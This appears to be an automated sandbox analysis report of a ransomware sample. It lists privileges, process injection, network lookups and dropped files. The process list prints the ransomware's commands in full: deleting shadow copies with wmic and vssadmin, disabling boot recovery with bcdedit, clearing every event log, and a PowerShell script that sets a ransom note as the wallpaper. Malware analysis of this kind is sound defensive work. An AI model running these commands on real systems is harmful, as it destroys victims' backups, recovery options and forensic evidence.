Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2640 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 3092 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 3092 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 3664 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 3664 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 3472 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 3472 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2640 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\SYSTEM32\cmd.exe
PID 3664 wrote to memory of 36704 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3664 wrote to memory of 36704 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3092 wrote to memory of 36716 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 3092 wrote to memory of 36716 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 3472 wrote to memory of 47884 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3472 wrote to memory of 47884 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2564 wrote to memory of 22424 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2564 wrote to memory of 22424 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2988 wrote to memory of 22440 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2988 wrote to memory of 22440 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2640 wrote to memory of 22068 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2640 wrote to memory of 22068 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 22068 wrote to memory of 22444 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 22068 wrote to memory of 22444 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 22068 wrote to memory of 22668 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 22068 wrote to memory of 22668 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe

"C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\SYSTEM32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\723567752.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

Country Destination Domain Proto
US 8.8.8.8:53 5.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 138.107.17.2.in-addr.arpa udp
US 204.79.197.237:443 g.bing.com tcp
NL 23.62.61.57:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.57:443 www.bing.com tcp
US 8.8.8.8:53 57.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 45.19.74.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 203.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

memory/2640-0-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2640-1-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2640-3-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2640-2-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2640-5-0x0000000002270000-0x00000000022B3000-memory.dmp

memory/2640-4-0x0000000000500000-0x0000000000501000-memory.dmp

memory/2640-7-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2640-8-0x0000000000400000-0x00000000004E5000-memory.dmp

F:\GET_YOUR_FILES_BACK.txt

MD5 01188d22b1675e3437b1418e14f4ffab
SHA1 6e7127f3bbfce49485ed8f1acf8f697bcb952818
SHA256 e4b3ac00a0b2eb195b26abffbc4368077384e73393e51605edda17dae05ab7f2
SHA512 6903ae3247f32ad79c60a2062cd6a7bdbf5a7c9db1bdc43bdbef4da3396945014d30968ea4c8531a2d0c7b695f1ea36e2b8c51bb39cc6157c4096ac04a6e187d

memory/2640-6-0x0000000000401000-0x000000000049D000-memory.dmp

memory/22440-17400-0x0000018D7FCE0000-0x0000018D7FD02000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e3ge4xha.rur.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2640-22683-0x0000000002270000-0x00000000022B3000-memory.dmp

memory/2640-22682-0x0000000000401000-0x000000000049D000-memory.dmp

memory/2640-22681-0x0000000000400000-0x00000000004E5000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 eb6332ae9e8fec69c2236355e2638f9d
SHA1 71500d57fb304979afd6756f06d4b9a59f995eb7
SHA256 88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32
SHA512 e87c864ba79bd7a10a62b55ad564cf3acb090e7d85707a6967497deeef5fcde1f0b4608ea8791bf81363ec583a0101d470d8f3cd2172ced8d4071d7f6c674aed